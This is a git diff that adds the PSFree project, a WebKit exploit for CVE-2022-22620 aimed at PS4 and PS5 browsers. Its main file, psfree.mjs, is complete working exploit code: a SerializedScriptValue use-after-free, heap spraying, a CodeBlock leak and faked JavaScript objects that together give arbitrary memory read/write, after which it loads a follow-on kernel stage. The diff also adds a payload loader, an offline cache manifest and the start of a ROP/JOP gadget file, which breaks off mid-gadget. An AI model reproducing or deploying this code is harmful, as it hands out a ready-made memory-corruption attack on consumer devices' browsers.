zg{C7p)5V<0`$bcg{9(xShaQn;wz`ZlHIryKGihe3!kDp;86ygt3O$#iMw{hsGM+5` zwuqZM6~YK622Dmm8}`J1H&*A1A|`xWMC-o4%hbO+vJd*f5 z2O5}~b0gF(pv5ry-Z$Xpp7YWA-;n~L#=nAuWqrimj<)&jUyym+CSE_68_tIhn-|r6 zpb?`<;ACGgMMC?)DWZ$_bIbSlrJayUn@$hj=Y~FJbX(}Dl08?N^=Px4x@7DuG-hJ< zXw}yDSI30LO;r%=C$4nti1s#B`+8H6>r6R!oV+x}{5=0F(>-}k+*R7q{GzXCK!XBR z!rS;}U+c509a1(KJvs_r(==k> zin?=CamMyK0nXX2ufv0~v!_P;G+Nxl%{3PpWo6`~`TS6|rh?kixgQ>ZV(DFtIbeE@ z^E;nO@3P)^nGn_Q6^ve=QWcG_1Jp0Vkfw^laR>OF&d!q)BdkTYim* zc~ZtgTO9<~QM%YRlVI%`YV^e}RetTqf;&aldim5?cBqKa_R20VS8L23=j85FKm0~M zPW!o9FKO?`)O$D=LfxI~q3+8c1k{@-S7(xDF8W?Mw>Jw`q@NB`!M0-OPHBICq@|q~ z56Kb4Qz7Ph0hc#4&OYO!xbsjJ%s;sMKi1J2yuGgO=Fw z{nB-k+ba}Xu~K8)w%^O_JTEzz&O>ra!?VB0MVFn|u(rB*aBE|n%#Bj*{*2S1l4E75 z`VC!XUbaS7UyUJw8isN%TB^$9&z**bX%Bbt+`e&H(yskr5>Fc(J1kw{5nLFA&T45U zw3md1zAdL?!AYR?dJg(P^vobQ3_*(b_k1p~~WbBwqOyuP&Y^I6!np2Ktt*! zsM}SIPHJn*B)`hFdhscyxX%1pi$|dTE-^URT;gEVs90u~vVvj}q1_L4aw+rdeE~gb zY~#n!Gg4mVBE!NBPnLEbIiMAI|4X0BiRPmL_AhMls$dgm>{B0Tz9*UxF7Z(RTAMbEs27QX{IY{4f3ZeD*AW!1{YXA0K9Nmzs zICSvq`xb$qbgQZ#jN*X?CuP^w2?5`Ty#<6vqYs#Q+ zu&COEOU z=Sn^RcMT0KEOHipIB~hO+5W_=aE+{)Z&1OHBXN3uq`~^`usFc z$B%QdMhC-7e8kE!z3X0x9}%7pQw~B&ec%Vly?_{|a^;Eog(QD*<&S}I9&tTW{SoC+ z?h}8G^aU2*g&}XV0=kMi@qtd z7-vM&$ITg)q{qfpCz|wGQgo;mBvGQ6_*VDuB7!r#`O>YcE_IAx1;^FOYSw98p>3BX3!IJzY^td}=#s7c zGHryDaH!pOAc0^5kBT^U{*1^W#&g@%p*$DaRi@%C;x53&tUAdU=uu0fMLwiGXE{b) zWf%HcFi`0{;&CVt5_KJG^y?cdMox%2Jxs*7mG^nc+MUt9MvO0z+}Y@c|VhW%G<_?&n`AT%p|(qLPWM4$&Dssw)vJ z3?hQWq{XumB;?4K8G_Ioq#n*`j%kDb~sM0JyZ zHw|!;>7(!|G;yc6nIdy1PsDgjkDBc&8u%uw-LEMr6%+Xa8~GEk$!($U1_qy;=R)Kr zYx6|30=8aS-$GJy`8TAHt1t$>P1>~Ht zaF;v%^#y!9YZmv6d#SA&v;MoOi0NC>-)(H@39E~(Z*Qj@fbh;mnTiQX-I_~Zh_Z%v z({wYOZE2|aN;$FxPyI7|!F;<=_^}LfXqDYjoRA#-JWsuf1$9b@nrhSAoz>%Y7%`jK zV|_i10p^Kt&L9(R^+@Cw5Eb%NQ_>iIJoH9|DdMdjqKF*5Scv*aVanQq>;@X4lg(jy(UcuruEU48&RE_stOd)EbO|P+1 zo|kiS3d4h^UfqJ~wB8NUl5_$n0|Bp0Op~I6Vhx!21>G5}Zj4Rf#(OQO975DOg{j$e zRyRnw^=^39yXi-eW`S;lc_L0_kO$?+S~k72Sv~!x2xc`FXok8dM9ox~T3bqGK@twZ znTIpT>2j=gqDrxhW`!wHOOg&Sw3|KXl(fiLEMD1yswG6Nx9P3ST5ks!TCq)Ulv19t zxEwu1h}xwvC6bUf8I?h1lO>Dh?=lt&pLk9pwOW#H0UNm41B??VlV_cf#;{_oCOjT^ zY+D97#FC`(pa8iy4<{@~&tGo_m&s}dm>^P8j_x2tjRh*dxxSkCgp6qdBHW%%!bzf}N3^>6HY3=HN7!?3b2FvpD~z`%-Hw>kpQ8_B9H zGm9J{AeI-(0!17`K>Ddei&H}uw;cn0d_`3X8+?4(p{s^13 zY=%Sr!fc}bi;_o)I+VE$+<6YJcK zv<+orGJp}-9?J*NZ`1nvF@Lp<#k1D9z5^f@fuCbLo76k7E!@z3bgWz+&QGtLhY;5f892}gSTwL7T zJUkExFE1Y-KR;*_n-f6i2Jj&uUf>J?;FRqkQIG@(3X%cs18IQtK_;LRAU9AT=qe~5 z)C3v@Z2|vA-{4??wgAKi5IaB|0I@uR+k`;eTs)i*4qkRXHvTPJ!2-Xx;2j8zJHW%m zJq*SgpohCONY&TdRa;Zl*IgNyS8%9u=mBkIZB3Oxw2JzFKkh$jtg?Pz|5MNsgNbI@ z)wam);Q{!1kpNfN)HzvBfCM-7-|P9^F7JjLv~!b-Z1UesYE$6ejuRpY+^RBJEJ literal 0 HcmV?d00001 diff --git a/psfree/payload.js b/psfree/payload.js new file mode 100644 index 0000000..f64dfc2 --- /dev/null +++ b/psfree/payload.js @@ -0,0 +1,6 @@ +fetch('./payload.bin').then(res => { + res.arrayBuffer().then(arr => { + window.pld = new Uint32Array(arr); + + }) +}) \ No newline at end of file diff --git a/psfree/psfree.mjs b/psfree/psfree.mjs new file mode 100644 index 0000000..fb9b346 --- /dev/null +++ b/psfree/psfree.mjs @@ -0,0 +1,862 @@ +/* Copyright (C) 2023-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write +// +// vulnerable: +// * PS4 [6.00, 10.00) +// * PS5 [1.00, 6.00) +// +// * CelesteBlue from ps4-dev on discord.com +// * Helped in figuring out the size of WebCore::SerializedScriptValue and +// its needed offsets on different firmwares. +// * figured out the range of vulnerable firmwares +// * janisslsm from ps4-dev on discord.com +// * Helped in figuring out the size of JSC::ArrayBufferContents and its +// needed offsets on different firmwares. +// * Kameleon_ from ps4-dev on discord.com - tester +// * SlidyBat from PS5 R&D discord.com +// * Helped in figuring out the size of JSC::ArrayBufferContents and its +// needed offsets on different firmwares (PS5). + +import { Int } from './module/int64.mjs'; +import { Memory,mem } from './module/mem.mjs'; +import { KB, MB } from './module/offset.mjs'; +import { BufferView } from './module/rw.mjs'; + +import { + die, + DieError, + log, + clear_log, + sleep, + hex, + align, +} from './module/utils.mjs'; + +import * as config from './config.mjs'; +import * as off from './module/offset.mjs'; + +// check if we are running on a supported firmware version +const [is_ps4, version] = (() => { + const value = config.target; + const is_ps4 = (value & 0x10000) === 0; + const version = value & 0xffff; + const [lower, upper] = (() => { + if (is_ps4) { + return [0x600, 0x1000]; + } else { + return [0x100, 0x600]; + } + })(); + + if (!(lower <= version && version < upper)) { + throw RangeError(`invalid config.target: ${hex(value)}`); + } + + return [is_ps4, version]; +})(); + +const ssv_len = (() => { + if (0x600 <= config.target && config.target < 0x650) { + return 0x58; + } + + // PS4 9.xx and all supported PS5 versions + if (config.target >= 0x900) { + return 0x50; + } + + if (0x650 <= config.target && config.target < 0x900) { + return 0x48; + } +})(); + +// these constants are expected to be divisible by 2 +const num_fsets = 0x180; +const num_spaces = 0x40; +const num_adjs = 8; + +const num_reuses = 0x300; +const num_strs = 0x200; +const num_leaks = 0x100; + +// we can use the rows attribute of a frameset to allocate from fastMalloc +// +// see parseAttribute() from +// WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x +// +// parseAttribute() will call newLengthArray(): +// +// UniqueArray newLengthArray(const String& string, int& len) +// { +// RefPtr str = string.impl()->simplifyWhiteSpace(); +// ... +// len = countCharacter(*str, ',') + 1; [1] +// auto r = makeUniqueArray(len); [2] +// ... +// } +// +// pseudocode definition: +// +// class UniqueArray: +// size_t _size; [3] +// Length _data[]; +// +// [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len. +// [3] adds an extra 8 bytes to the array +// +// a Length is 8 bytes in size. if we want to allocate ssv_len bytes from +// fastMalloc, then we need: +// +// const num_repeats = ssv_len / 8 - 2; +// const rows = ','.repeat(num_repeats); +const rows = ','.repeat(ssv_len / 8 - 2); + +const original_strlen = ssv_len - off.size_strimpl; +const original_loc = location.pathname; + +function gc() { + new Uint8Array(4 * MB); +} + +function sread64(str, offset) { + const low = ( + str.charCodeAt(offset) + | str.charCodeAt(offset + 1) << 8 + | str.charCodeAt(offset + 2) << 16 + | str.charCodeAt(offset + 3) << 24 + ); + const high = ( + str.charCodeAt(offset + 4) + | str.charCodeAt(offset + 5) << 8 + | str.charCodeAt(offset + 6) << 16 + | str.charCodeAt(offset + 7) << 24 + ); + return new Int(low, high); +} + +function prepare_uaf() { + const fsets = []; + const indices = []; + + function alloc_fs(fsets, size) { + for (let i = 0; i < size / 2; i++) { + const fset = document.createElement('frameset'); + fset.rows = rows; + fset.cols = rows; + fsets.push(fset); + } + } + + // the first call to either replaceState/pushState is likely to allocate a + // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents + // the SmallLine where the SSV resides from being freed. so we do a dummy + // call first + history.replaceState('state0', ''); + + alloc_fs(fsets, num_fsets); + + // the "state1" SSVs is what we will UAF + + history.pushState('state1', '', original_loc + '#bar'); + indices.push(fsets.length); + + alloc_fs(fsets, num_spaces); + + history.pushState('state1', '', original_loc + '#foo'); + indices.push(fsets.length); + + alloc_fs(fsets, num_spaces); + + history.pushState('state2', ''); + return [fsets, indices]; +} + +// WebCore::SerializedScriptValue use-after-free +// +// be careful when accessing history.state since History::state() will get +// called. History will cache the SSV at its m_lastStateObjectRequested if you +// do. that field is a RefPtr, thus preventing a UAF if we cache "state1" +async function uaf_ssv(fsets, index, index2) { + const views = []; + const input = document.createElement('input'); + input.id = 'input'; + const foo = document.createElement('input'); + foo.id = 'foo'; + const bar = document.createElement('a'); + bar.id = 'bar'; + + log(`ssv_len: ${hex(ssv_len)}`); + + let pop = null; + let pop2 = null; + let pop_promise2 = null; + let blurs = [0, 0]; + let resolves = []; + + function onpopstate(event) { + const no_pop = pop === null; + const idx = no_pop ? 0 : 1; + + log(`pop ${idx} came`); + if (blurs[idx] === 0) { + const r = resolves[idx][1]; + r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); + } + + if (no_pop) { + pop_promise2 = new Promise((resolve, reject) => { + resolves.push([resolve, reject]); + addEventListener('popstate', onpopstate, {once: true}); + history.back(); + }); + } + + if (no_pop) { + pop = event; + } else { + pop2 = event; + } + resolves[idx][0](); + } + + const pop_promise = new Promise((resolve, reject) => { + resolves.push([resolve, reject]); + addEventListener('popstate', onpopstate, {once: true}); + }); + + function onblur(event) { + const target = event.target; + const is_input = target === input; + const idx = is_input ? 0 : 1; + log(`${target.id} blur came`); + + if (blurs[idx] > 0) { + die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); + } + + // we replace the URL with the original so the user can rerun the + // exploit via a reload. If we don't, the exploit will append another + // "#foo" to the URL and the input element will not be blurred because + // the foo element won't be scrolled to during history.back() + history.replaceState('state3', '', original_loc); + + // free the SerializedScriptValue's neighbors and thus free the + // SmallLine where it resides + const fset_idx = is_input ? index : index2; + for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) { + fsets[i].rows = ''; + fsets[i].cols = ''; + } + + for (let i = 0; i < num_reuses; i++) { + const view = new Uint8Array(new ArrayBuffer(ssv_len)); + view[0] = 0x41; + views.push(view); + } + + blurs[idx]++; + } + + input.addEventListener('blur', onblur); + foo.addEventListener('blur', onblur); + + document.body.append(input); + document.body.append(foo); + document.body.append(bar); + + // FrameLoader::loadInSameDocument() calls Document::statePopped(). + // statePopped() will defer firing of popstate until we're in the complete + // state + // + // this means that onblur() will run with "state2" as the current history + // item if we call loadInSameDocument too early + log(`readyState now: ${document.readyState}`); + + if (document.readyState !== 'complete') { + await new Promise(resolve => { + document.addEventListener('readystatechange', function foo() { + if (document.readyState === 'complete') { + document.removeEventListener('readystatechange', foo); + resolve(); + } + }); + }); + } + + log(`readyState now: ${document.readyState}`); + + await new Promise(resolve => { + input.addEventListener('focus', resolve, {once: true}); + input.focus(); + }); + + history.back(); + await pop_promise; + await pop_promise2; + + log('done await popstate'); + + input.remove(); + foo.remove(); + bar.remove(); + + const res = []; + for (let i = 0; i < views.length; i++) { + const view = views[i]; + if (view[0] !== 0x41) { + log(`view index: ${hex(i)}`); + log('found view:'); + log(view); + + // set SSV's refcount to 1, all other fields to 0/NULL + view[0] = 1; + view.fill(0, 1); + + if (res.length) { + res[1] = [new BufferView(view.buffer), pop2]; + break; + } + + // return without keeping any references to pop, making it GC-able. + // its WebCore::PopStateEvent will then be freed on its death + res[0] = new BufferView(view.buffer); + i = num_reuses - 1; + } + } + + if (res.length !== 2) { + die('failed SerializedScriptValue UAF'); + } + return res; +} + +class Reader { + constructor(rstr, rstr_view) { + this.rstr = rstr; + this.rstr_view = rstr_view; + this.m_data = rstr_view.read64(off.strimpl_m_data); + } + + read8_at(offset) { + return this.rstr.charCodeAt(offset); + } + + read32_at(offset) { + const str = this.rstr; + return ( + str.charCodeAt(offset) + | str.charCodeAt(offset + 1) << 8 + | str.charCodeAt(offset + 2) << 16 + | str.charCodeAt(offset + 3) << 24 + ) >>> 0; + } + + read64_at(offset) { + return sread64(this.rstr, offset); + } + + read64(addr) { + this.rstr_view.write64(off.strimpl_m_data, addr); + return sread64(this.rstr, 0); + } + + set_addr(addr) { + this.rstr_view.write64(off.strimpl_m_data, addr); + } + + // remember to use this to fix up the StringImpl before freeing it + restore() { + this.rstr_view.write64(off.strimpl_m_data, this.m_data); + this.rstr_view.write32(off.strimpl_strlen, original_strlen); + } +} + +// we now have a double free on the fastMalloc heap +async function make_rdr(view) { + let str_wait = 0; + const strs = []; + const u32 = new Uint32Array(1); + const u8 = new Uint8Array(u32.buffer); + const marker_offset = original_strlen - 4; + const pad = 'B'.repeat(marker_offset); + + log('start string spray'); + while (true) { + for (let i = 0; i < num_strs; i++) { + u32[0] = i; + // on versions like 8.0x: + // * String.fromCharCode() won't create a 8-bit string. so we use + // fromCodePoint() instead + // * Array.prototype.join() won't try to convert 16-bit strings to + // 8-bit + // + // given the restrictions above, we will ensure "str" is always a + // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) + // to see that String.prototype.repeat() will create a 8-bit string + // if the repeated string's length is 1 + // + // Array.prototype.join() calls JSC::JSStringJoiner::join(). it + // returns a plain JSString (not a JSRopeString). that means we + // have allocated a WTF::StringImpl with the proper size and whose + // string data is inlined + const str = [pad, String.fromCodePoint(...u8)].join(''); + strs.push(str); + } + + if (view.read32(off.strimpl_inline_str) === 0x42424242) { + view.write32(off.strimpl_strlen, 0xffffffff); + break; + } + + strs.length = 0; + gc(); + await sleep(); + str_wait++; + } + log(`JSString reused memory at loop: ${str_wait}`); + + const idx = view.read32(off.strimpl_inline_str + marker_offset); + log(`str index: ${hex(idx)}`); + log('view:'); + log(view); + + // versions like 8.0x have a JSC::JSString that have their own m_length + // field. strings consult that field instead of the m_length of their + // StringImpl + // + // we work around this by passing the string to Error. + // ErrorInstance::create() will then create a new JSString initialized from + // the StringImpl of the message argument + const rstr = Error(strs[idx]).message; + log(`str len: ${hex(rstr.length)}`); + if (rstr.length === 0xffffffff) { + log('confirmed correct leaked'); + const addr = ( + view.read64(off.strimpl_m_data) + .sub(off.strimpl_inline_str) + ); + log(`view's buffer address: ${addr}`); + return new Reader(rstr, view); + } + die("JSString wasn't modified"); +} + +// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array +// of JSValues whose size is ssv_len. the undefined constant is automatically +// added due to reasons such as "undefined is returned by default if the +// function exits without returning anything" +const cons_len = ssv_len - 8*5; +const bt_offset = 0; +const idx_offset = ssv_len - 8*3; +const strs_offset = ssv_len - 8*2; +const src_part = (() => { + // we user var instead of let/const since such variables always get + // initialized to the NULL JSValue even if you immediately return. we will + // make functions that do as little as possible in order to speed up the + // exploit. m_constantRegisters will still contain the unused constants + // + // function foo() { + // return; + // let a = 1; + // } + // + // the resulting bytecode: + // bb#1 + // [ 0] enter + // [ 1] get_scope loc4 + // [ 3] mov loc5, loc4 + // [ 6] check_traps + // // this part still initializes a with the NULL JSValue + // [ 7] mov loc6, (const0) + // [ 10] ret Undefined(const1) + // Successors: [ ] + // + // bb#2 + // [ 12] mov loc6, Int32: 1(const2) + // [ 15] ret Undefined(const1) + // Successors: [ ] + // + // + // Constants: + // k0 = + // k1 = Undefined + // k2 = Int32: 1: in source as integer + let res = 'var f = 0x11223344;\n'; + // make unique constants that won't collide with the possible marker values + for (let i = 0; i < cons_len; i += 8) { + res += `var a${i} = ${num_leaks + i};\n`; + } + return res; +})(); + +async function leak_code_block(reader, bt_size) { + const rdr = reader; + const bt = []; + // take into account the cell and indexing header of the immutable + // butterfly + for (let i = 0; i < bt_size - 0x10; i += 8) { + bt.push(i); + } + + // cache the global variable resolution + const slen = ssv_len; + + const bt_part = `var bt = [${bt}];\nreturn bt;\n`; + const part = bt_part + src_part; + const cache = []; + for (let i = 0; i < num_leaks; i++) { + cache.push(part + `var idx = ${i};\nidx\`foo\`;`); + } + + const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB; + const smallPageSize = 4 * KB; + const search_addr = align(rdr.m_data, chunkSize); + log(`search addr: ${search_addr}`); + + log(`func_src:\n${cache[0]}\nfunc_src end`); + log('start find CodeBlock'); + let winning_off = null; + let winning_idx = null; + let winning_f = null; + let find_cb_loop = 0; + // false positives + let fp = 0; + rdr.set_addr(search_addr); + loop: while (true) { + const funcs = []; + for (let i = 0; i < num_leaks; i++) { + const f = Function(cache[i]); + // the first call allocates the CodeBlock + f(); + funcs.push(f); + } + + for (let p = 0; p < chunkSize; p += smallPageSize) { + for (let i = p; i < p + smallPageSize; i += slen) { + if (rdr.read32_at(i + 8) !== 0x11223344) { + continue; + } + + rdr.set_addr(rdr.read64_at(i + strs_offset)); + const m_type = rdr.read8_at(5); + // make sure we're not reading the constant registers of an + // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. + // CodeBlock converts those to JSArrays + if (m_type !== 0) { + rdr.set_addr(search_addr); + winning_off = i; + winning_idx = rdr.read32_at(i + idx_offset); + winning_f = funcs[winning_idx]; + break loop; + } + rdr.set_addr(search_addr); + fp++; + } + } + + find_cb_loop++; + gc(); + await sleep(); + } + log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`); + log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`); + + log('CodeBlock.m_constantRegisters.m_buffer:'); + rdr.set_addr(search_addr.add(winning_off)); + for (let i = 0; i < slen; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } + + const bt_addr = rdr.read64_at(bt_offset); + const strs_addr = rdr.read64_at(strs_offset); + log(`immutable butterfly addr: ${bt_addr}`); + log(`string array passed to tag addr: ${strs_addr}`); + + log('JSImmutableButterfly:'); + rdr.set_addr(bt_addr); + for (let i = 0; i < bt_size; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } + + log('string array:'); + rdr.set_addr(strs_addr); + for (let i = 0; i < off.size_jsobj; i += 8) { + log(`${rdr.read64_at(i)} | ${hex(i)}`); + } + + return [winning_f, bt_addr, strs_addr]; +} + +// data to write to the SerializedScriptValue +// +// setup to make deserialization create an ArrayBuffer with an arbitrary buffer +// address +function make_ssv_data(ssv_buf, view, view_p, addr, size) { + // sizeof JSC::ArrayBufferContents + const size_abc = (() => { + if (is_ps4) { + return version >= 0x900 ? 0x18 : 0x20; + } else { + return version >= 0x300 ? 0x18 : 0x20; + } + })(); + + const data_len = 9; + // sizeof WTF::Vector + const size_vector = 0x10; + + // SSV offsets + const off_m_data = 8; + const off_m_abc = 0x18; + // view offsets + const voff_vec_abc = 0; // Vector + const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents + const voff_data = voff_abc + size_abc; + + // WTF::Vector + // write m_data + // m_buffer + ssv_buf.write64(off_m_data, view_p.add(voff_data)); + // m_capacity + ssv_buf.write32(off_m_data + 8, data_len); + // m_size + ssv_buf.write64(off_m_data + 0xc, data_len); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + view.write32(voff_data, CurrentVersion); + view[voff_data + 4] = ArrayBufferTransferTag; + view.write32(voff_data + 5, 0); + + // std::unique_ptr> + // write m_arrayBufferContentsArray + ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); + // write WTF::Vector + view.write64(voff_vec_abc, view_p.add(voff_abc)); + view.write32(voff_vec_abc + 8, 1); + view.write32(voff_vec_abc + 0xc, 1); + + if (size_abc === 0x20) { + // m_destructor, offset 0, leave as 0 + // m_shared, offset 8, leave as 0 + // m_data + view.write64(voff_abc + 0x10, addr); + // m_sizeInBytes + view.write32(voff_abc + 0x18, size); + } else { + // m_data + view.write64(voff_abc + 0, addr); + // m_destructor (48 bits), offset 8, leave as 0 + // m_shared (48 bits), offset 0xe, leave as 0 + // m_sizeInBytes + view.write32(voff_abc + 0x14, size); + } +} + +async function make_arw(reader, view2, pop) { + const rdr = reader; + + // we have to align the fake object to atomSize (16) else the process + // crashes. we don't know why + // + // since cells (GC memory chunks) are always aligned to atomSize, there + // might be code that's assuming that all GC pointers are aligned + // + // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at + // PS4 8.0x + const fakeobj_off = 0x20; + const fakebt_base = fakeobj_off + off.size_jsobj; + // sizeof JSC::IndexingHeader + const indexingHeader_size = 8; + // sizeof JSC::ArrayStorage + const arrayStorage_size = 0x18; + // there's only the .raw property + const propertyStorage = 8; + const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; + + log('STAGE: leak CodeBlock'); + // has too be greater than 0x10. the size of JSImmutableButterfly + const bt_size = 0x10 + fakebt_off + arrayStorage_size; + const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); + + const view = rdr.rstr_view; + const view_p = rdr.m_data.sub(off.strimpl_inline_str); + const view_save = new Uint8Array(view); + + view.fill(0); + make_ssv_data(view2, view, view_p, bt_addr, bt_size); + + const bt = new BufferView(pop.state); + view.set(view_save); + + log('ArrayBuffer pointing to JSImmutableButterfly:'); + for (let i = 0; i < bt.byteLength; i += 8) { + log(`${bt.read64(i)} | ${hex(i)}`); + } + + // the immutable butterfly's indexing type is ArrayWithInt32 so + // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots + // for JSObjects to recursively visit. this means that we can write + // anything to the the butterfly's data area without fear of a GC crash + + const val_true = 7; // JSValue of "true" + const strs_cell = rdr.read64(strs_addr); + + bt.write64(fakeobj_off, strs_cell); + bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); + + // since .raw is the first ever created property, it's just besides the + // indexing header + bt.write64(fakebt_off - 0x10, val_true); + // indexing header's publicLength and vectorLength + bt.write32(fakebt_off - 8, 1); + bt.write32(fakebt_off - 8 + 4, 1); + + // custom ArrayStorage that allows read/write to index 0. we have to use an + // ArrayStorage because the structure assigned to the structure ID expects + // one so visitButterfly() will crash if we try to fake the object with a + // regular butterfly + + // m_sparseMap + bt.write64(fakebt_off, 0); + // m_indexBias + bt.write32(fakebt_off + 8, 0); + // m_numValuesInVector + bt.write32(fakebt_off + 0xc, 1); + + // m_vector[0] + bt.write64(fakebt_off + 0x10, val_true); + + // immutable_butterfly[0] = fakeobj; + bt.write64(0x10, bt_addr.add(fakeobj_off)); + + const fake = func()[0]; + log(`fake.raw: ${fake.raw}`); + log(`fake[0]: ${fake[0]}`); + log(`fake: [${fake}]`); + + const test_val = 3; + log(`test setting fake[0] to ${test_val}`); + fake[0] = test_val; + if (fake[0] !== test_val) { + die(`unexpected fake[0]: ${fake[0]}`); + } + + function addrof(obj) { + fake[0] = obj; + return bt.read64(fakebt_off + 0x10); + } + + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.0x. + const worker = new DataView(new ArrayBuffer(1)); + const main_template = new Uint32Array(new ArrayBuffer(off.size_view)); + + const leaker = {addr: null, 0: 0}; + + const worker_p = addrof(worker); + const main_p = addrof(main_template); + const leaker_p = addrof(leaker); + + // we'll fake objects using a JSArrayBufferView whose m_mode is + // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the + // current fastSizeLimit is 1000. if the length is less than or equal to + // that, we get a FastTypedArray + const scaled_sview = off.size_view / 4; + const faker = new Uint32Array(scaled_sview); + const faker_p = addrof(faker); + const faker_vector = rdr.read64(faker_p.add(off.view_m_vector)); + + const vector_idx = off.view_m_vector / 4; + const length_idx = off.view_m_length / 4; + const mode_idx = off.view_m_mode / 4; + const bt_idx = off.js_butterfly / 4; + + // fake a Uint32Array using GC memory + faker[vector_idx] = worker_p.lo; + faker[vector_idx + 1] = worker_p.hi; + faker[length_idx] = scaled_sview; + + rdr.set_addr(main_p); + faker[mode_idx] = rdr.read32_at(off.view_m_mode); + // JSCell + faker[0] = rdr.read32_at(0); + faker[1] = rdr.read32_at(4); + faker[bt_idx] = rdr.read32_at(off.js_butterfly); + faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4); + + // fakeobj() + bt.write64(fakebt_off + 0x10, faker_vector); + const main = fake[0]; + + log('main (pointing to worker):'); + for (let i = 0; i < off.size_view; i += 8) { + const idx = i / 4; + log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`); + } + + new Memory( + main, worker, leaker, + leaker_p.add(off.js_inline_prop), + rdr.read64(leaker_p.add(off.js_butterfly)), + ); + log('achieved arbitrary r/w'); + + rdr.restore(); + // set the refcount to a high value so we don't free the memory, view's + // death will already free it (a StringImpl is currently using the memory) + view.write32(0, -1); + // ditto (a SerializedScriptValue is currently using the memory) + view2.write32(0, -1); + // we don't want its death to call fastFree() on GC memory + make_arw._buffer = bt.buffer; +} + +async function main() { + log('STAGE: UAF SSV'); + const [fsets, indices] = prepare_uaf(); + const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); + + log('STAGE: get string relative read primitive'); + const rdr = await make_rdr(view); + + for (const fset of fsets) { + fset.rows = ''; + fset.cols = ''; + } + + log('STAGE: achieve arbitrary read/write primitive'); + await make_arw(rdr, view2, pop); + + clear_log(); + // path to your script that will use the exploit + import('./lapse.mjs'); +} +main(); diff --git a/psfree/psfree_lapse.cache b/psfree/psfree_lapse.cache new file mode 100644 index 0000000..c161cc2 --- /dev/null +++ b/psfree/psfree_lapse.cache @@ -0,0 +1,31 @@ +CACHE MANIFEST +# PSFree-Lapse + +about.html +alert.mjs +cache.html +config.mjs +index.html +lapse.mjs +payload.bin +payload.js +psfree.mjs +fonts\LiberationMono-Regular.ttf +kpatch\900.elf +module\chain.mjs +module\constants.mjs +module\int64.mjs +module\mem.mjs +module\memtools.mjs +module\offset.mjs +module\rw.mjs +module\utils.mjs +module\view.mjs +rop\900.mjs + +NETWORK: +* + +SETTINGS: +prefer-online: + diff --git a/psfree/rop/900.mjs b/psfree/rop/900.mjs new file mode 100644 index 0000000..8ea3b87 --- /dev/null +++ b/psfree/rop/900.mjs @@ -0,0 +1,374 @@ +/* Copyright (C) 2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// by janisslsm (John) from ps4-dev discord + +import { log } from '../module/utils.mjs'; +import { mem } from '../module/mem.mjs'; +import { KB} from '../module/constants.mjs'; +import { ChainBase } from '../module/chain.mjs'; + +import { + find_base, + get_view_vector, + resolve_import, + init_syscall_array, +} from '../module/memtools.mjs'; + +import * as rw from '../module/rw.mjs'; + +const origin = window.origin; +const port = '8000'; +const url = `${origin}:${port}`; + +const syscall_array = []; + +const offset_textarea_impl = 0x18; + +// WebKit offsets of imported functions +const offset_wk_stack_chk_fail = 0x178; +const offset_wk_memcpy = 0x188; + +// libSceNKWebKit.sprx +export let libwebkit_base = null; +// libkernel_web.sprx +export let libkernel_base = null; +// libSceLibcInternal.sprx +export let libc_base = null; + +// Chain implementation based on Chain803. Replaced offsets that changed +// between versions. Replaced gadgets that were missing with new ones that +// won't change the API. +// +// gadgets for the JOP chain +// +// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is +// because jop1-5 was the original chain used by the old implementation of +// Chain803. Now the sequence is ta_jop1-3 then to jop2-5. +// +// When the scrollLeft getter native function is called on PS4 9.00, rsi is the +// JS wrapper for the WebCore textarea class. +const ta_jop1 = ` +mov rdi, qword ptr [rsi + 0x18] +mov rax, qword ptr [rdi] +call 